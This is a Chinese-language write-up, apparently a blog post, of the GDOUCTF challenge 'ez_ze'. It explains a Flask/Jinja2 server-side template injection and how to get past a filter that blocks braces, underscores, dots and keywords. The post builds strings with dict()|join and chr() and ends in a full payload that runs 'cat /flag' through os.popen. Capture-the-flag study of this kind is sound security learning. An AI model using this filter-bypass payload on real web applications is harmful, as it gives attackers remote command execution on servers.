这个题是最新最热的GDOUCTF里面出的一个题<ez_ze>的姿势
偷偷来学一学:
打开靶机后看到的是一个post窗口,刚开始怀疑是sql注入,但是做着做着发现不对劲,应该不是sql,是ssti
随后我用dirsearch扫了,发现有个/console
进去就是flask的后台((
所以很明确就是flask了
can can 过滤
首先测试了{{7*7}}
回显是invalid input
将花括号去掉,显示7*7
再单独输入花括号回显invalid input
过滤了花括号
经过测试应该是绕过了至少:
{{` 、`"`、 `_`、`\`、`class`、`popen`、`.`、`[]`、`os`
但是很搞笑的事就是 我想要跑个fuzz字典来着,发现没有ssti的字典...
{%asset_img 2.png bwb%}
反正这些都被过滤了,常见的一些绕过方式也没有办法(比如request.args,通过传参绕过下划线、用中括号替换点号、等等)
但是还是有绕过的方法的:
# 绕过原理:
`dict()|join`:python中的字典
将字典中的key值进行拼接
`{{set p1=dict(p=a)|join}}就是令p1=p
如果后面加|count变成dict()|join|count的话就是返回该字符串的长度:
{{set p1=dict(c=a)|join|count}} p1=1
通过这样的拼接可以获取到payload
花括号替换:{%%}
payload:
1 2 3 4 5 6 7 8 9
| {%set one=dict(c=a)|join|count%} {%set two=dict(cc=a)|join|count%} {%set three=dict(ccc=a)|join|count%} {%set four=dict(cccc=a)|join|count%} {%set five=dict(ccccc=a)|join|count%} {%set six=dict(cccccc=a)|join|count%} {%set seven=dict(ccccccc=a)|join|count%} {%set eight=dict(cccccccc=a)|join|count%} {%set nine=dict(ccccccccc=a)|join|count%}
|
先获取数字0-9(没有过滤数字,其实可以不用这么做)
1
| {%set pop=dict(pop=a)|join%}
|
通过获取pop来获取下划线:(pop能够将索引值删除列的某个元素并将该元素返回)
返回
其中便有下划线,通过pop删除第18(或者24)即可返回_
1
| {%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
|
1 2 3
| (lipsum|attr("__globals__").get("os").popen("cat /flag").read() 使用的原payload如上 所以我们需要获取__globals__
|
通过join拼接下划线和globals即可:
1
| {%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
|
获取get:
1
| {%set get=dict(get=a)|join%}
|
获取os:
1
| {%set shell=dict(o=a,s=b)|join%}
|
获取builtins:
1
| {%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
|
获取popen:
如果使用上面的拼接会报错:keyword repeated
这里可以使用+拼接:
1 2 3 4 5 6
| {%set p1=dict(p=a)|join%} {%set p2=dict(o=a)|join%} {%set p3=dict(p=a)|join%} {%set p4=dict(e=a)|join%} {%set p5=dict(n=a)|join%} {%set p6=p1%2bp2%2bp3%2bp4%2bp5%}
|
%2b即为加号
获取chr函数来获取flag:
1
| {%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
|
命令cat /flag:
用chr() -> 字符即可
1 2 3
| {%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
|
获取read:
1
| {%set read=dict(read=a)|join%}
|
总payload:
1 2 3 4 5
| (lipsum|attr("__globals__").get("os").popen("cat /flag").read()
->
{%print (lipsum|attr(globals))|attr(get)(shell)|attr(p6)(command)|attr(read)()%}
|
也就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| name={%set one=dict(c=a)|join|count%} {%set two=dict(cc=a)|join|count%} {%set three=dict(ccc=a)|join|count%} {%set four=dict(cccc=a)|join|count%} {%set five=dict(ccccc=a)|join|count%} {%set six=dict(cccccc=a)|join|count%} {%set seven=dict(ccccccc=a)|join|count%} {%set eight=dict(cccccccc=a)|join|count%} {%set nine=dict(ccccccccc=a)|join|count%} {%set pop=dict(pop=a)|join%} {%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%} {%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%} {%set get=dict(get=a)|join%} {%set shell=dict(o=a,s=b)|join%} {%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%} {%set p1=dict(p=a)|join%} {%set p2=dict(o=a)|join%} {%set p3=dict(p=a)|join%} {%set p4=dict(e=a)|join%} {%set p5=dict(n=a)|join%} {%set p6=p1%2bp2%2bp3%2bp4%2bp5%} {%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%} {%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%} {%set read=dict(read=a)|join%} {%set read=dict(read=a)|join%}{%print (lipsum|attr(globals))|attr(get)(shell)|attr(p6)(command)|attr(read)()%}
|
最后多打了个{%print read%} 所以上面显示多了一个read